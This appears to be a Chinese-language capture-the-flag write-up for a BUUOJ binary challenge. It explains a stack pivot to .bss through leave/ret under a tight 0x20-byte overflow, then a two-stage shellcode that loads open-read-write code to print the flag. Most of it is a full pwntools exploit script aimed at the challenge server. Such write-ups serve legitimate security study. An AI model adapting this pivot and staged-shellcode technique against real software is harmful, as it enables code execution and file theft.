保护
漏洞
算上rbp只有0x20的溢出空间
思路1
利用jmp rsp的GG执行栈上的shellcode,这个思路用的人很多,就不再说了
思路2:不使用jmp rsp
如果需要开启shellcode,最常用的就是ret到shellcode的地址,为了获取shellcode地址,那么就有了两个选择
泄露栈地址,做不到栈迁移到一个已知位置
通过leave指令使得rbp = 已知空间buf之后,需要在0x18长度内完成两件事情
向buf中写入expleave+ret让rsp迁移过去,并且ret开启shellcde
这也是这个思路的精华所在了
在发生溢出函数中发现,调用read时的buf变量时通过rbp+偏移量进行寻址的,而此时rbp已经被我们控制,因此只要跳转到lea这里就可以同时完成这两件事情
这里我选择.bss作为迁移到的位置
read(0, $rbp-0x20, 0x38)之后
leave:
rsp=rbp = 0x601300pop rbp , rsp=0x601308ret:
pop rip
因此0x601300处的值进入rbp,0x601308处的值进入RIP
所以sc只有0x20的空间:0x6012e0~0x601300
我们可以在0x601308处写入sc的地址,即0x6012e0来启动SC
既然0x20的空间不足以进行ORW,那么就利用这个小shellcode铺垫一下,进行读入大shellcode并开启大shellcode的工作,有点web里面小马+大马的感觉
注意,这里开启大的shellcode的方式也比较巧妙
执行小sc时,rip = 0x6021e0,小shellocde会向0x601300处写入大的shellcode
之后rip会通过nop滑行到0x601300处,从而开启大shellcode,有点ASCII shellcode的味道
读入文件名+ORW:
EXP
#! /usr/bin/python
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#sh = process('bad')
sh = remote('node3.buuoj.cn', 29160)
elf = ELF('./bad')
def Send(exp):
sh.recvuntil('Easy shellcode, have fun!\n')
sh.send(exp)
#gdb.attach(sh, 'break *0x400a49')
buf = 0x601000+0x300
exp = 'A'*0x20 #padding
exp+= p64(buf) #rbp
exp+= p64(0x400A28) #read(0, $rbp-0x20 = 0x6012e0, 0x38)
exp+= 'A'*8
Send(exp)
exp = asm('xor rax, rax') #read(0, 0x601300, 0x64), rsp = 0x601310, rip = 0x6012e0
exp+= asm('xor rdi, rdi')
exp+= asm('mov rsi, 0x601300')
exp+= asm('mov rdx, 0x64')
exp+= asm('syscall')
exp = exp.ljust(0x20, asm('nop'))
exp+= p64(0) #0x601300 leave
exp+= p64(0x6012e0) #0x601308 ret
exp+= 'A'*8 #len(exp) must be 0x38
sh.send(exp)
sh.recvuntil('Baddd! Focu5 me! Baddd! Baddd!\n')
exp = asm('xor rax, rax') #read(0, 0x601400, 0x100)
exp+= asm('xor rdi, rdi')
exp+= asm('mov rsi, 0x601400')
exp+= asm('mov rdx, 0x100')
exp+= asm('syscall')
exp+= asm('mov rax, 0x2') #open(0x601400, 0, 0)
exp+= asm('mov rdi, 0x601400')
exp+= asm('xor rsi, rsi')
exp+= asm('xor rdx, rdx')
exp+= asm('syscall')
exp+= asm('xor rax, rax') #read(3, 0x601500, 0x100)
exp+= asm('mov rdi, 0x3')
exp+= asm('mov rsi, 0x601500')
exp+= asm('mov rdx, 0x100')
exp+= asm('syscall')
exp+= asm('mov rax, 0x1') #write(1, 0x601500, 0x100)
exp+= asm('mov rdi, 0x1')
exp+= asm('mov rsi, 0x601500')
exp+= asm('mov rdx, 0x100')
exp+= asm('syscall')
sh.send(exp)
sh.send('flag\x00')
sh.interactive()
'''
Body()::after call read 0x400A3E
Body()::leave ret 0x400a49
shellcode 0x6012e0
'''